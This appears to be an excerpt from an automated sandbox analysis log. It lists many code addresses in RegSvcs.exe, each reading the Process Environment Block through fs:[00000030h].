Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018165D0 mov eax, dword ptr fs:[00000030h] 8_2_018165D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184A5D0 mov eax, dword ptr fs:[00000030h] 8_2_0184A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184A5D0 mov eax, dword ptr fs:[00000030h] 8_2_0184A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018125E0 mov eax, dword ptr fs:[00000030h] 8_2_018125E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183E5E7 mov eax, dword ptr fs:[00000030h] 8_2_0183E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183E5E7 mov eax, dword ptr fs:[00000030h] 8_2_0183E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183E5E7 mov eax, dword ptr fs:[00000030h] 8_2_0183E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183E5E7 mov eax, dword ptr fs:[00000030h] 8_2_0183E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183E5E7 mov eax, dword ptr fs:[00000030h] 8_2_0183E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183E5E7 mov eax, dword ptr fs:[00000030h] 8_2_0183E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183E5E7 mov eax, dword ptr fs:[00000030h] 8_2_0183E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183E5E7 mov eax, dword ptr fs:[00000030h] 8_2_0183E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184C5ED mov eax, dword ptr fs:[00000030h] 8_2_0184C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184C5ED mov eax, dword ptr fs:[00000030h] 8_2_0184C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018A6500 mov eax, dword ptr fs:[00000030h] 8_2_018A6500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018E4500 mov eax, dword ptr fs:[00000030h] 8_2_018E4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018E4500 mov eax, dword ptr fs:[00000030h] 8_2_018E4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018E4500 mov eax, dword ptr fs:[00000030h] 8_2_018E4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018E4500 mov eax, dword ptr fs:[00000030h] 8_2_018E4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018E4500 mov eax, dword ptr fs:[00000030h] 8_2_018E4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018E4500 mov eax, dword ptr fs:[00000030h] 8_2_018E4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018E4500 mov eax, dword ptr fs:[00000030h] 8_2_018E4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820535 mov eax, dword ptr fs:[00000030h] 8_2_01820535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820535 mov eax, dword ptr fs:[00000030h] 8_2_01820535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820535 mov eax, dword ptr fs:[00000030h] 8_2_01820535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820535 mov eax, dword ptr fs:[00000030h] 8_2_01820535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820535 mov eax, dword ptr fs:[00000030h] 8_2_01820535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820535 mov eax, dword ptr fs:[00000030h] 8_2_01820535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183E53E mov eax, dword ptr fs:[00000030h] 8_2_0183E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183E53E mov eax, dword ptr fs:[00000030h] 8_2_0183E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183E53E mov eax, dword ptr fs:[00000030h] 8_2_0183E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183E53E mov eax, dword ptr fs:[00000030h] 8_2_0183E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183E53E mov eax, dword ptr fs:[00000030h] 8_2_0183E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01818550 mov eax, dword ptr fs:[00000030h] 8_2_01818550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01818550 mov eax, dword ptr fs:[00000030h] 8_2_01818550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184656A mov eax, dword ptr fs:[00000030h] 8_2_0184656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184656A mov eax, dword ptr fs:[00000030h] 8_2_0184656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184656A mov eax, dword ptr fs:[00000030h] 8_2_0184656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018164AB mov eax, dword ptr fs:[00000030h] 8_2_018164AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018444B0 mov ecx, dword ptr fs:[00000030h] 8_2_018444B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0189A4B0 mov eax, dword ptr fs:[00000030h] 8_2_0189A4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018104E5 mov ecx, dword ptr fs:[00000030h] 8_2_018104E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01848402 mov eax, dword ptr fs:[00000030h] 8_2_01848402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01848402 mov eax, dword ptr fs:[00000030h] 8_2_01848402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01848402 mov eax, dword ptr fs:[00000030h] 8_2_01848402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0180E420 mov eax, dword ptr fs:[00000030h] 8_2_0180E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0180E420 mov eax, dword ptr fs:[00000030h] 8_2_0180E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0180E420 mov eax, dword ptr fs:[00000030h] 8_2_0180E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0180C427 mov eax, dword ptr fs:[00000030h] 8_2_0180C427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01896420 mov eax, dword ptr fs:[00000030h] 8_2_01896420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01896420 mov eax, dword ptr fs:[00000030h] 8_2_01896420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01896420 mov eax, dword ptr fs:[00000030h] 8_2_01896420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01896420 mov eax, dword ptr fs:[00000030h] 8_2_01896420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01896420 mov eax, dword ptr fs:[00000030h] 8_2_01896420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01896420 mov eax, dword ptr fs:[00000030h] 8_2_01896420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01896420 mov eax, dword ptr fs:[00000030h] 8_2_01896420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184A430 mov eax, dword ptr fs:[00000030h] 8_2_0184A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184E443 mov eax, dword ptr fs:[00000030h] 8_2_0184E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184E443 mov eax, dword ptr fs:[00000030h] 8_2_0184E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184E443 mov eax, dword ptr fs:[00000030h] 8_2_0184E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184E443 mov eax, dword ptr fs:[00000030h] 8_2_0184E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184E443 mov eax, dword ptr fs:[00000030h] 8_2_0184E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184E443 mov eax, dword ptr fs:[00000030h] 8_2_0184E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184E443 mov eax, dword ptr fs:[00000030h] 8_2_0184E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184E443 mov eax, dword ptr fs:[00000030h] 8_2_0184E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183245A mov eax, dword ptr fs:[00000030h] 8_2_0183245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0180645D mov eax, dword ptr fs:[00000030h] 8_2_0180645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0189C460 mov ecx, dword ptr fs:[00000030h] 8_2_0189C460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183A470 mov eax, dword ptr fs:[00000030h] 8_2_0183A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183A470 mov eax, dword ptr fs:[00000030h] 8_2_0183A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183A470 mov eax, dword ptr fs:[00000030h] 8_2_0183A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018B678E mov eax, dword ptr fs:[00000030h] 8_2_018B678E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018107AF mov eax, dword ptr fs:[00000030h] 8_2_018107AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181C7C0 mov eax, dword ptr fs:[00000030h] 8_2_0181C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018907C3 mov eax, dword ptr fs:[00000030h] 8_2_018907C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0189E7E1 mov eax, dword ptr fs:[00000030h] 8_2_0189E7E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018327ED mov eax, dword ptr fs:[00000030h] 8_2_018327ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018327ED mov eax, dword ptr fs:[00000030h] 8_2_018327ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018327ED mov eax, dword ptr fs:[00000030h] 8_2_018327ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018147FB mov eax, dword ptr fs:[00000030h] 8_2_018147FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018147FB mov eax, dword ptr fs:[00000030h] 8_2_018147FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184C700 mov eax, dword ptr fs:[00000030h] 8_2_0184C700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01810710 mov eax, dword ptr fs:[00000030h] 8_2_01810710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01840710 mov eax, dword ptr fs:[00000030h] 8_2_01840710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184C720 mov eax, dword ptr fs:[00000030h] 8_2_0184C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184C720 mov eax, dword ptr fs:[00000030h] 8_2_0184C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184273C mov eax, dword ptr fs:[00000030h] 8_2_0184273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184273C mov ecx, dword ptr fs:[00000030h] 8_2_0184273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184273C mov eax, dword ptr fs:[00000030h] 8_2_0184273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188C730 mov eax, dword ptr fs:[00000030h] 8_2_0188C730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184674D mov esi, dword ptr fs:[00000030h] 8_2_0184674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184674D mov eax, dword ptr fs:[00000030h] 8_2_0184674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184674D mov eax, dword ptr fs:[00000030h] 8_2_0184674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01810750 mov eax, dword ptr fs:[00000030h] 8_2_01810750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0189E75D mov eax, dword ptr fs:[00000030h] 8_2_0189E75D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852750 mov eax, dword ptr fs:[00000030h] 8_2_01852750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852750 mov eax, dword ptr fs:[00000030h] 8_2_01852750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01894755 mov eax, dword ptr fs:[00000030h] 8_2_01894755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01818770 mov eax, dword ptr fs:[00000030h] 8_2_01818770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820770 mov eax, dword ptr fs:[00000030h] 8_2_01820770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820770 mov eax, dword ptr fs:[00000030h] 8_2_01820770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820770 mov eax, dword ptr fs:[00000030h] 8_2_01820770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820770 mov eax, dword ptr fs:[00000030h] 8_2_01820770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820770 mov eax, dword ptr fs:[00000030h] 8_2_01820770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820770 mov eax, dword ptr fs:[00000030h] 8_2_01820770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820770 mov eax, dword ptr fs:[00000030h] 8_2_01820770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820770 mov eax, dword ptr fs:[00000030h] 8_2_01820770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820770 mov eax, dword ptr fs:[00000030h] 8_2_01820770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820770 mov eax, dword ptr fs:[00000030h] 8_2_01820770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820770 mov eax, dword ptr fs:[00000030h] 8_2_01820770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820770 mov eax, dword ptr fs:[00000030h] 8_2_01820770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01814690 mov eax, dword ptr fs:[00000030h] 8_2_01814690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01814690 mov eax, dword ptr fs:[00000030h] 8_2_01814690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184C6A6 mov eax, dword ptr fs:[00000030h] 8_2_0184C6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018466B0 mov eax, dword ptr fs:[00000030h] 8_2_018466B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184A6C7 mov ebx, dword ptr fs:[00000030h] 8_2_0184A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184A6C7 mov eax, dword ptr fs:[00000030h] 8_2_0184A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018906F1 mov eax, dword ptr fs:[00000030h] 8_2_018906F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018906F1 mov eax, dword ptr fs:[00000030h] 8_2_018906F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188E6F2 mov eax, dword ptr fs:[00000030h] 8_2_0188E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188E6F2 mov eax, dword ptr fs:[00000030h] 8_2_0188E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188E6F2 mov eax, dword ptr fs:[00000030h] 8_2_0188E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188E6F2 mov eax, dword ptr fs:[00000030h] 8_2_0188E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188E609 mov eax, dword ptr fs:[00000030h] 8_2_0188E609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182260B mov eax, dword ptr fs:[00000030h] 8_2_0182260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182260B mov eax, dword ptr fs:[00000030h] 8_2_0182260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182260B mov eax, dword ptr fs:[00000030h] 8_2_0182260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182260B mov eax, dword ptr fs:[00000030h] 8_2_0182260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182260B mov eax, dword ptr fs:[00000030h] 8_2_0182260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182260B mov eax, dword ptr fs:[00000030h] 8_2_0182260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182260B mov eax, dword ptr fs:[00000030h] 8_2_0182260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852619 mov eax, dword ptr fs:[00000030h] 8_2_01852619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01846620 mov eax, dword ptr fs:[00000030h] 8_2_01846620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01848620 mov eax, dword ptr fs:[00000030h] 8_2_01848620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182E627 mov eax, dword ptr fs:[00000030h] 8_2_0182E627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181262C mov eax, dword ptr fs:[00000030h] 8_2_0181262C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182C640 mov eax, dword ptr fs:[00000030h] 8_2_0182C640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D866E mov eax, dword ptr fs:[00000030h] 8_2_018D866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D866E mov eax, dword ptr fs:[00000030h] 8_2_018D866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184A660 mov eax, dword ptr fs:[00000030h] 8_2_0184A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184A660 mov eax, dword ptr fs:[00000030h] 8_2_0184A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01842674 mov eax, dword ptr fs:[00000030h] 8_2_01842674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018229A0 mov eax, dword ptr fs:[00000030h] 8_2_018229A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018229A0 mov eax, dword ptr fs:[00000030h] 8_2_018229A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018229A0 mov eax, dword ptr fs:[00000030h] 8_2_018229A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018229A0 mov eax, dword ptr fs:[00000030h] 8_2_018229A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018229A0 mov eax, dword ptr fs:[00000030h] 8_2_018229A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018229A0 mov eax, dword ptr fs:[00000030h] 8_2_018229A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018229A0 mov eax, dword ptr fs:[00000030h] 8_2_018229A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018229A0 mov eax, dword ptr fs:[00000030h] 8_2_018229A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018229A0 mov eax, dword ptr fs:[00000030h] 8_2_018229A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018229A0 mov eax, dword ptr fs:[00000030h] 8_2_018229A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018229A0 mov eax, dword ptr fs:[00000030h] 8_2_018229A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018229A0 mov eax, dword ptr fs:[00000030h] 8_2_018229A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018229A0 mov eax, dword ptr fs:[00000030h] 8_2_018229A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018109AD mov eax, dword ptr fs:[00000030h] 8_2_018109AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018109AD mov eax, dword ptr fs:[00000030h] 8_2_018109AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018989B3 mov esi, dword ptr fs:[00000030h] 8_2_018989B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018989B3 mov eax, dword ptr fs:[00000030h] 8_2_018989B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018989B3 mov eax, dword ptr fs:[00000030h] 8_2_018989B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018A69C0 mov eax, dword ptr fs:[00000030h] 8_2_018A69C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181A9D0 mov eax, dword ptr fs:[00000030h] 8_2_0181A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181A9D0 mov eax, dword ptr fs:[00000030h] 8_2_0181A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181A9D0 mov eax, dword ptr fs:[00000030h] 8_2_0181A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181A9D0 mov eax, dword ptr fs:[00000030h] 8_2_0181A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181A9D0 mov eax, dword ptr fs:[00000030h] 8_2_0181A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181A9D0 mov eax, dword ptr fs:[00000030h] 8_2_0181A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018449D0 mov eax, dword ptr fs:[00000030h] 8_2_018449D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DA9D3 mov eax, dword ptr fs:[00000030h] 8_2_018DA9D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0189E9E0 mov eax, dword ptr fs:[00000030h] 8_2_0189E9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018429F9 mov eax, dword ptr fs:[00000030h] 8_2_018429F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018429F9 mov eax, dword ptr fs:[00000030h] 8_2_018429F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188E908 mov eax, dword ptr fs:[00000030h] 8_2_0188E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188E908 mov eax, dword ptr fs:[00000030h] 8_2_0188E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01808918 mov eax, dword ptr fs:[00000030h] 8_2_01808918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01808918 mov eax, dword ptr fs:[00000030h] 8_2_01808918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0189C912 mov eax, dword ptr fs:[00000030h] 8_2_0189C912
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018A892B mov eax, dword ptr fs:[00000030h] 8_2_018A892B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0189892A mov eax, dword ptr fs:[00000030h] 8_2_0189892A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01890946 mov eax, dword ptr fs:[00000030h] 8_2_01890946
